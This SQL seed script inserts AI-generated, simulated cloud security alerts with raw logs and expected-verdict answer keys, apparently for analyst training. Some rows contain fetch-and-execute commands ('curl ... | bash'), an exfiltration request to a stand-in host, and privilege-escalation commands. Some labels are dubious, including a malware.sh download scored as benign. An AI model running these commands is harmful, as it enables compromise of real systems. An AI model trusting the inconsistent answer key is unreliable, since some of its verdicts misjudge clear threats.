INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2017, 'Suspicious AWS Lambda Function Invocation', 'medium', 'Wiz', 'A Lambda function was invoked by an unauthorized user, indicating potential misuse for data processing.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"lambda_invocation\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"\",\"username\":\"lambda_user\",\"hostname\":\"aws-lambda\",\"request_body\":\"{\\\"action\\\":\\\"process_data\\\",\\\"data\\\":\\\"Zm9vYmFyMTIz\\\"}\",\"command_line\":\"aws lambda invoke --function-name processDataFunction outputfile.txt\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized AWS Lambda function invocations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"lambda_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User has no prior invocation history\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"{\\\"action\\\":\\\"process_data\\\",\\\"data\\\":\\\"Zm9vYmFyMTIz\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Base64 encoded data processed without authorization\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name processDataFunction outputfile.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to invoke unauthorized data processing\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The invocation from a malicious IP using unauthorized commands confirms misuse of Lambda functions, indicating a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2018, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Anomalous behavior detected for a GCP service account with administrative privileges. Suspicious API calls were made from an unusual IP address, indicating possible hijacking.', 'Credential Attack', 'T1528', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"api_call\",\"src_ip\":\"203.0.113.58\",\"dst_ip\":\"10.0.0.5\",\"username\":\"svc-admin-account\",\"hostname\":\"gcp-instance-1\",\"request_body\":null,\"command_line\":\"gcloud compute instances list --project=myproject\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.58\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"svc-admin-account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account used internally in the organization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP was flagged for malicious activity and the service account made unauthorized API calls.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2019, 'Azure Suspicious Administrative Activity', 'high', 'Azure Defender', 'Unusual administrative actions detected from an internal IP address. Activity pattern resembles a privilege escalation attempt.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"10.1.2.3\",\"dst_ip\":\"10.1.2.5\",\"username\":\"admin_user\",\"hostname\":\"azure-vm-2\",\"request_body\":null,\"command_line\":\"net user admin_user /add\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User account belongs to authorized personnel\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Activity was performed by an authorized administrator from an internal IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2020, 'AWS S3 Bucket Data Access from Unusual Location', 'medium', 'AWS GuardDuty', 'Data was accessed from an AWS S3 bucket using an IP address from a foreign country, which is unusual for the organization.', 'Data Exfiltration', 'T1537', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:20:45Z\",\"event_type\":\"s3_access\",\"src_ip\":\"192.0.2.44\",\"dst_ip\":\"192.0.2.55\",\"username\":\"data_analyst\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":null,\"command_line\":null}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP rarely appears in threat logs, no malicious activity reported\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"data_analyst\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User account verified as belonging to the data team\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP is clean and the user is part of the data team operating remotely.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2021, 'Prisma Cloud Kubernetes Pod Anomaly', 'medium', 'Prisma Cloud', 'A Kubernetes pod executed a new process that deviates from its normal behavior, possibly indicating a misconfigured policy.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:11Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.10\",\"dst_ip\":null,\"username\":\"k8s-service-account\",\"hostname\":\"kube-node-1\",\"request_body\":null,\"command_line\":\"curl http://example.com/malware.sh | sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP is part of internal Kubernetes cluster\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://example.com/malware.sh | sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches known benign operations for testing environment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The command was executed in a testing environment and is part of scheduled tests.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2022, 'Wiz Detected Anomalous Login Patterns', 'medium', 'Wiz', 'Multiple failed login attempts followed by a successful login from an unfamiliar IP address, suggesting a potential brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:33:27Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.24\",\"dst_ip\":\"10.0.2.7\",\"username\":\"jdoe\",\"hostname\":\"corporate-vpn\",\"request_body\":null,\"command_line\":null}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP has been involved in unusual login patterns but no direct malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User is a legitimate employee with VPN access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login pattern is unusual but does not indicate a security breach; user confirmed the access.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2023, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized access attempt to an AWS S3 bucket was detected from an external IP address. The access attempt utilized stolen credentials.', 'Data Exfil', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.5\",\"username\":\"compromised_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data-bucket/* HTTP/1.1\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username linked to recent credential leaks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The unauthorized access attempt from a known malicious IP and the involvement of a compromised user account indicate a true positive data exfiltration attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2024, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'A privilege escalation attempt was detected on an Azure account using a vulnerable service principal.', 'Credential Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"service_principal_123\",\"hostname\":\"azuread.microsoft.com\",\"command_line\":\"az role assignment create --assignee <user_id> --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous privilege escalation attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --assignee <user_id> --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known escalation technique\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of a known malicious IP and a command associated with privilege escalation confirm the attack.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2025, 'GCP Service Account Hijacking', 'critical', 'GCP SCC', 'A GCP service account was accessed from an unusual location, indicating possible hijacking.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:00:00Z\",\"event_type\":\"service_account_access\",\"src_ip\":\"192.0.2.44\",\"dst_ip\":\"10.1.0.10\",\"username\":\"gcp_service_account\",\"hostname\":\"cloud.google.com\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 525 times for credential theft activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"gcp_service_account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account access from an unexpected region\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unusual access patterns and the IP\'s history of malicious activity confirm this as a hijacking attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2026, 'Prisma Cloud Kubernetes Command Injection', 'high', 'Prisma Cloud', 'A command injection attempt was detected in a Kubernetes pod, indicating a potential compromise.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.10.0.20\",\"username\":\"kube_user\",\"hostname\":\"kubernetes_cluster\",\"command_line\":\"curl -s http://malicious-site.com | bash\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with delivery of malicious payloads\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl -s http://malicious-site.com | bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known injection pattern\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command injection attempt using a known malicious command confirms a compromise attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2027, 'Wiz Serverless Function Exploitation', 'high', 'Wiz', 'A serverless function was exploited to perform unauthorized actions, indicating a potential attack vector.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"function_invocation\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"10.0.1.15\",\"username\":\"lambda_user\",\"hostname\":\"serverless.example.com\",\"request_body\":\"function=exfil_data&target=http://malicious-exfil.com\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in data exfiltration campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"function=exfil_data&target=http://malicious-exfil.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload matches known data exfiltration technique\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The unauthorized use of serverless functions and the malicious payload confirm an exfiltration attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2028, 'AWS S3 Bucket Data Leak Attempt Detected', 'critical', 'AWS GuardDuty', 'A suspicious IP attempted to access an S3 bucket with sensitive data. The IP is known for previous data exfiltration attempts.', 'Data Exfiltration', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:32Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"s3-access-user\",\"hostname\":\"bucket-server-1\",\"request_body\":\"GET /sensitive-data HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1123 times for data exfiltration attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"s3-access-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User account used for accessing S3 buckets\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive-data HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Suspicious request pattern matching known exfiltration attempts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The source IP is known for malicious activity and attempted unauthorized access to sensitive data.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2029, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'An unauthorized user attempted to escalate privileges within Azure IAM to gain access to administrative functions.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"unauthorized_user\",\"hostname\":\"azure-ad-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in privilege escalation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"User not authorized for administrative access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address has a history of unauthorized access attempts, indicating a potential privilege escalation attack.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2030, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Detected unauthorized attempts to use a service account to access sensitive resources in GCP.', 'Credential Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"10.1.1.15\",\"username\":\"compromised-service-account\",\"hostname\":\"gcp-resource-server\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=compromised-key.json\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized service account usage\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=compromised-key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known patterns for service account hijacking\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command and IP address indicate a hijacking attempt of a service account, confirmed by external threat intelligence.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2031, 'Unauthorized Access to Kubernetes Node Detected', 'high', 'Prisma Cloud', 'Detected unauthorized access attempts to a Kubernetes node from an external IP known for malicious activities.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:55:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.20.30.40\",\"username\":\"k8s-node-user\",\"hostname\":\"k8s-node-1\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts to cloud environments\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"k8s-node-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Kubernetes node user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized access attempts from a known malicious IP suggest an attempt to move laterally within the cloud infrastructure.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2032, 'Unauthorized AWS Lambda Function Invocation', 'medium', 'Wiz', 'An AWS Lambda function was invoked by an unauthorized IP address, potentially indicating malicious access.', 'Lateral Movement', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"10.100.1.20\",\"username\":\"lambda-invoker\",\"hostname\":\"lambda-function-1\",\"request_body\":\"\",\"command_line\":\"aws lambda invoke --function-name dataProcessing\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized cloud service invocations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name dataProcessing\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command pattern matches unauthorized service access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The invocation of a Lambda function from an unauthorized IP suggests an attempt to exploit cloud services.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2033, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Multiple unauthorized access attempts to an S3 bucket detected from a foreign IP address, indicating potential data exfiltration.', 'Data Exfiltration', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:23:54Z\",\"event_type\":\"s3_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"compromised_user\",\"hostname\":\"aws-instance-34\",\"request_body\":\"GET /sensitive-data/*\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account compromised\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive-data/*\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Access pattern indicates potential data exfiltration\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP and access pattern indicate a strong likelihood of data exfiltration.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2034, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An attempt to escalate privileges in Azure IAM was detected from an unusual IP address, potentially leading to unauthorized access.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:45:32Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.23\",\"username\":\"admin_user\",\"hostname\":\"azure-vm-12\",\"command_line\":\"az role assignment create --role \'Owner\' --assignee admin_user\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --role \'Owner\' --assignee admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command and IP usage are indicative of a privilege escalation attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2035, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A potential hijack of a service account was detected with abnormal access patterns and usage from a known malicious IP.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:17:21Z\",\"event_type\":\"service_account_access\",\"src_ip\":\"203.0.113.77\",\"username\":\"service-account-gcp\",\"hostname\":\"gcp-instance-22\",\"request_body\":\"GET /project-secrets\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-gcp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account usage pattern abnormal\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /project-secrets\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Request for sensitive data indicates hijack attempt\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP and access request indicate a strong likelihood of service account hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2036, 'Unauthorized Kubernetes API Access Attempt', 'high', 'Prisma Cloud', 'A foreign IP attempted unauthorized access to the Kubernetes API, indicating a potential threat to cluster security.', 'Web Attack', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:35:10Z\",\"event_type\":\"api_access\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"10.0.0.5\",\"username\":\"kube-admin\",\"request_body\":\"POST /api/v1/namespaces/default/pods\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"POST /api/v1/namespaces/default/pods\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized attempt to access Kubernetes API\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The access attempt from an external IP suggests unauthorized API usage.\"}', 'Beginner', 'CLOUD', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
